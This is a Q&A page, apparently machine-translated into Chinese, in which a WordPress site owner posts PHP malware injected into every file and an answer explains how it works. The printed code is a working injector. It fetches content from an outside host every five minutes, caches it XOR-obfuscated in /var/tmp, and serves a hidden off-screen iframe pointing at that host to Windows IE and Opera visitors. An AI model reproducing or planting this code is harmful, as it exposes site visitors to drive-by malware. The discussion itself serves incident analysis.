这个守则在做什么? eval(gzinflate(base64_decode Hack

时间:2013-04-30 17:15:42

标签: php file external

任何人都可以解释这段代码到底在做什么吗?好像黑客已经通过wordpress安装将其添加到我的每个php文件中。我知道它正在打开一个连接并从该URL下载文件。还有什么吗?

if (!defined('frmDs')){
    define('frmDs' ,1);

    function frm_dl ($url) {
        if (function_exists('curl_init')) {
            $ch = curl_init($url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            $out = curl_exec ($ch);
            if (curl_errno($ch) !== 0) $out = false;
            curl_close ($ch);
        } else {$out = file_get_contents($url);}
        return trim($out);
    }

    function frm_crpt($in){
        $il=strlen($in);$o='';
        for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*';
        return $o;
    }

    function frm_getfrm()
    {
        $defframe = '<style>.blqrgw { position:absolute; left:-1117px; top:-1046px; }</style> <div class="blqrgw"><iframe src="http://kchergnrxp.myfw.us/jquery/get.php?ver=jquery.latest.js" width="371" height="426"></iframe></div>'; //default frame
        $codelink = 'http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js';
        if (!$codelink){
            return $defframe;
        }

        $dr='/var/tmp';
        $f = $dr.'/sess_'.md5('frm_frame');
        if(!file_exists($f) || time() - filemtime($f) > 60*5)
        {
            $dlc = frm_dl($codelink);
            if ($dlc){
                if ($fp = @fopen($f, 'w')){
                    fwrite($fp, frm_crpt($dlc));
                    fclose($fp);
                }
                else
                    return $dlc;
            }
            else
                @unlink($f);
        }
        $fc = @file_get_contents($f);
        return ($fc)?frm_crpt($fc):$defframe;
    }

    $ua = $_SERVER['HTTP_USER_AGENT'];
    if (preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) ){
        error_reporting(0);

        if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
            @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
            print($nfc);
        }
    }
}

1 个答案:

答案 0 :(得分:4)

if (!defined('frmDs')){
define('frmDs' ,1);

这检查frmDs变量是否存在,我认为是为了防止脚本执行两次(如果你定义相同的函数两次会产生错误)。

在函数定义之后,执行的第一个代码块是     $ ua = $ _SERVER ['HTTP_USER_AGENT'];     if(preg_match('/ Windows /',$ ua)&amp;&amp; preg_match('/ MSIE | Opera /',$ ua)){         使用error_reporting(0);

    if(!isset($_COOKIE['__utmfr']) && $nfc=frm_getfrm() ) {
        @setcookie('__utmfr',rand(1,1000),time()+86400*7,'/');
        print($nfc);
    }
}

在上面的代码块中,它检查用户是否具有cookie __utmfr,如果没有设置,则将frm_getfrm()的结果打印到Web输出。

换句话说,如果用户第一次访问该网站,他会在HTML页面的开头获得frm_getfrm()的结果。

功能frm_getfrm()很复杂,但在一天结束时,如果您的托管服务器无法连接,它会尝试使用外部网站http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js 中的内容返回隐藏的IFRAME到外部服务器。 如果您的服务器可以连接到外部服务器,则该脚本使用PHP内置函数下载http://kchergnrxp.myfw.us/nc/gnc.php?ver=jquery.latest.js的内容并将其返回。